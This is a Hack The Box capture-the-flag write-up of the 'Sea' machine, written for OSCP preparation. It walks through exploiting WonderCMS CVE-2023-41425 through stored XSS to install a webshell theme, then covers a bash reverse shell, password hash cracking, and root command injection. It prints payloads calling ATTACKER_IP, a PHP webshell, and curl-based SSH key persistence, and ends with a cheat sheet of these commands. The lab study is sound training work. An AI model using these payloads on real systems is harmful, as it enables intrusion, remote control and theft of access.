# OSCP Prep #1.
HTB Writeup – Sea 

## 1\. Target Overview

Sea starts out looking like a simple website running on Apache. After a bit of enumeration, it becomes clear that the site is powered by **WonderCMS**, which turns out to be the key to getting an initial foothold.

From there the compromise unfolds in a fairly clean chain:

*   Stored XSS in WonderCMS
    
*   Malicious theme installation
    
*   Webshell → reverse shell as `www-data`
    
*   Credential discovery
    
*   SSH access as `amay`
    
*   Internal service pivot
    
*   Command injection → root
    

## 2\. Enumeration

The first step was identifying exposed services.

### Port Scan

```plaintext
rustscan -a 10.129.x.x
```

Results:

```plaintext
22/tcp  SSH
80/tcp  HTTP
```

Running a more detailed scan:

```plaintext
nmap -sC -sV -p22,80 10.129.x.x
```

Confirmed:

```plaintext
22  OpenSSH 8.2
80  Apache 2.4.41
```

So the initial attack surface is straightforward — **SSH and a web server**.

### Web Enumeration

Browsing the site reveals a small webpage for what looks like a biking event.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bb0d75d2-409d-433c-ac2e-1c397cdaf85e.png align="center")

Directory fuzzing revealed several interesting paths:

```plaintext
ffuf -u http://sea.htb/FUZZ -w elite.txt
```

Important directories:

```plaintext
themes
data
plugins
contact.php
```

While interacting with the site, a redirect revealed the hostname:

```plaintext
sea.htb
```

So I added it locally:

```plaintext
sudo nano /etc/hosts
```

```plaintext
10.129.x.x sea.htb
```

* * *

### Identifying the CMS

While exploring the `/themes` directory, I noticed this path:

```plaintext
/themes/bike
```

Inside were a few interesting files:

```plaintext
README.md
LICENSE
version
```

The README confirmed the application was using **WonderCMS**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/80876914-dcae-4f48-8be1-5086976dec14.png align="center")

Checking the version file:

```plaintext
http://sea.htb/themes/bike/version
```

Returned:

```plaintext
3.2.0
```

* * *

## 3\. Exploitation

Once WonderCMS was identified and the version confirmed as **3.2.0**, I started looking for known vulnerabilities affecting this version.

A quick search revealed **CVE-2023-41425**, which describes a stored XSS vulnerability that can be abused to install malicious modules (themes or plugins).

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9c001167-6bb1-4ab2-8421-6dd70a19cf7a.png align="center")

In WonderCMS, installing a theme is essentially downloading a ZIP archive from a remote source and extracting it into the `/themes` directory. If we can abuse this functionality, we can get the server to install a theme that contains a **webshell**.

The only missing piece is identifying the **login page**, which the exploit requires.

* * *

### Identifying the Login URL

The exploit documentation references a login path called:

```plaintext
/loginURL
```

This looks unusual at first, but WonderCMS actually uses this exact path by default.

There are a few ways to confirm this.

### Method 1 — Public Documentation

Various forum posts and discussions reference this login endpoint.

```plaintext
/loginURL
```

* * *

### Method 2 — Reviewing the WonderCMS Source

Downloading the WonderCMS source code and reviewing `index.php` reveals the login page is defined inside the `createDb()` function.

In the code, the login page is initialized as:

```plaintext
loginURL
```

The application then loads pages using the pattern:

```plaintext
index.php?page=<page>
```

Which means the login page can be accessed at:

```plaintext
/index.php?page=loginURL
```

* * *

### Accessing the Login Page

Visiting either of these works:

```plaintext
http://sea.htb/loginURL
```

or

```plaintext
http://sea.htb/index.php?page=loginURL
```

Both load the WonderCMS login form.

This confirms the exploit prerequisites.

* * *

### XSS Proof of Concept

The goal is to inject a payload that forces the server to load a malicious JavaScript file from our attacker machine.

The payload looks like this:

```plaintext
http://sea.htb/index.php?page=loginURL"></form>
<script src="http://ATTACKER_IP/0xdf.js"></script>
<form action="
```

At first glance this might look messy, but it works because of how the application renders form inputs.

### What the Payload Does

1.  Closes the existing form
    
2.  Injects a `<script>` tag
    
3.  Loads JavaScript from the attacker
    
4.  Reopens the form so the HTML structure remains valid
    

Conceptually:

```plaintext
Original HTML

<form>
  user input
</form>

Injected HTML

</form>
<script src="attacker.js"></script>
<form>
```

This causes the victim's browser to **execute attacker-controlled JavaScript**.

* * *

### Triggering the XSS

The payload was submitted through the **contact form**.

After submitting the payload, I started a simple Python web server on my machine:

```plaintext
python3 -m http.server 80
```

Within about a minute the server received a request:

```plaintext
10.10.11.28 - - "GET /0xdf.js HTTP/1.1"
```

This confirms that the JavaScript file was requested by the target system.

That means the XSS payload executed successfully.

* * *

### Preparing a Malicious Theme

The exploit works by installing a theme from a remote server.

Themes in WonderCMS are simply **ZIP archives** that get extracted into `/themes`.

The proof-of-concept exploit includes a reverse shell theme, but I opted to create a simpler version — a minimal PHP webshell.

### Webshell

```plaintext
<?php system($_REQUEST['cmd']); ?>
```

Directory structure:

```plaintext
theme223/
 └── cmd.php
```

Create the archive:

```plaintext
zip -r theme223.zip theme223/
```

Verify contents:

```plaintext
unzip -l theme223.zip
```

Output:

```plaintext
theme223/
theme223/cmd.php
```

* * *

### Crafting the JavaScript Installer

Since we can inject JavaScript via the XSS vulnerability, we can abuse the WonderCMS module installation mechanism.

The JavaScript payload performs two steps:

1.  Extract the **CSRF token** from the current page
    
2.  Send a request to install a theme from our server
    

```plaintext
var token = document.querySelectorAll('[name="token"]')[0].value;

var urlRev =
"/?installModule=http://ATTACKER_IP/theme223.zip" +
"&directoryName=theme223" +
"&type=themes" +
"&token=" + token;

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", urlRev);
xhr.send();
```

### What This Script Does

```plaintext
1. Grab session token
2. Send install request
3. Download attacker theme
4. Extract theme on server
```

* * *

### Observing the Exploit

When the JavaScript executes, the Python web server logs several requests.

```plaintext
GET /0xdf.js
GET /theme223.zip
GET /theme223.zip
GET /theme223.zip
GET /theme223.zip
```

The repeated requests happen because WonderCMS checks the archive multiple times during installation.

This confirms the theme was downloaded successfully.

* * *

### Webshell Access

Once the theme is installed, the webshell becomes available under the themes directory.

```plaintext
/themes/theme223/cmd.php
```

Testing command execution:

```plaintext
curl http://sea.htb/themes/theme223/cmd.php?cmd=id
```

Output:

```plaintext
uid=33(www-data)
```

The application is executing commands as **www-data**, giving us remote command execution on the server.

* * *

### Getting a Reverse Shell

To obtain an interactive shell, I replaced the `id` command with a bash reverse shell.

```plaintext
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
```

Listener:

```plaintext
nc -lnvp 443
```

Once triggered, the connection appears:

```plaintext
Connection received
www-data@sea
```

We now have an initial foothold on the system.

* * *

### Why This Exploit Works

The vulnerability chain works because:

```plaintext
Stored XSS
     ↓
Execute attacker JavaScript
     ↓
Install malicious theme
     ↓
Theme contains webshell
     ↓
Remote code execution
```

The key mistake in WonderCMS is allowing **module installation through a URL parameter combined with insufficient input sanitization**.

## 4\. Privilege Escaltion

### Initial Enumeration

Basic system information:

```plaintext
whoami
id
hostname
uname -a
```

Users discovered:

```plaintext
amay
geo
```

* * *

### Searching Application Files

The web directory often contains useful information.

```plaintext
/var/www/sea/data
```

Inside `database.js` I discovered a password hash.

* * *

### Cracking the Hash

The hash was copied locally and cracked using John.

```plaintext
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Password recovered:

```plaintext
mychemicalromance
```

* * *

### User Access

Switching users works immediately.

```plaintext
su amay
```

Confirming access:

```plaintext
whoami
amay
```

* * *

### SSH Login

A more stable shell can be obtained using SSH.

```plaintext
ssh amay@sea.htb
```

* * *

### Discovering Internal Services

Checking listening services reveals something interesting.

```plaintext
netstat -tunlp
```

```plaintext
127.0.0.1:8080
```

This indicates an **internal web application** running locally.

* * *

### SSH Port Forwarding

To access the service:

```plaintext
ssh -L 8000:localhost:8080 amay@sea.htb
```

The application becomes accessible locally:

```plaintext
http://localhost:8000
```

* * *

### Command Injection

The internal web application appears to be a **log analysis tool**.

Example request:

```plaintext
log_file=access.log
```

Changing the parameter allows arbitrary file reads:

```plaintext
log_file=/etc/passwd
```

Testing command injection:

```plaintext
log_file=access.log;sleep 2
```

The response delay confirms code execution.

* * *

### Executing Commands as Root

Payload used:

```plaintext
log_file=access.log;id #
```

Output:

```plaintext
uid=0(root)
```

The application executes commands as **root**.

* * *

## 5\. Root Access

Reverse shells from the web app proved unstable, so SSH persistence was used instead.

### Generating an SSH Key

```plaintext
ssh-keygen -f sea_root
```

This generates:

```plaintext
sea_root
sea_root.pub
```

* * *

### Hosting the Public Key

```plaintext
python3 -m http.server 80
```

* * *

### Injecting the Key

Using command injection:

```plaintext
curl http://ATTACKER_IP/sea_root.pub >> /root/.ssh/authorized_keys
```

* * *

### Root Login

```plaintext
ssh -i sea_root root@sea.htb
```

Access confirmed:

```plaintext
root@sea
```

## 6\. Lessons learned/ Key Takeaways

The biggest takeaway from this machine was the importance of **identifying CMS platforms during enumeration**.

Once WonderCMS was identified, finding a vulnerability was straightforward. After exploiting the CMS, the rest of the attack chain fell into place naturally.

Another key lesson was the importance of **enumerating internal services after gaining a foothold**. The service running on `localhost:8080` ultimately provided a command injection vulnerability running as root.

This machine is a great reminder that:

*   Web vulnerabilities often lead to system access
    
*   Credentials frequently appear in application files
    
*   Internal services can expose powerful escalation paths
    

* * *

## Useful Commands

### Bash Reverse Shell

```plaintext
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
```

* * *

### Simple PHP Webshell

```plaintext
<?php system($_REQUEST['cmd']); ?>
```

* * *

### Upgrade Shell

```plaintext
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

* * *

### Fix Terminal

```plaintext
export TERM=xterm
```

* * *

### SSH Tunneling

```plaintext
ssh -L 8000:localhost:8080 amay@sea.htb
```

* * *

### SSH Key Persistence

```plaintext
ssh-keygen -f sea_root
ssh -i sea_root root@sea.htb
```

* * *

# Final Thoughts

Sea is a great example of how multiple smaller weaknesses can combine into full system compromise.

A vulnerable CMS provided the foothold, credentials enabled lateral movement, and an internal application ultimately led to root.
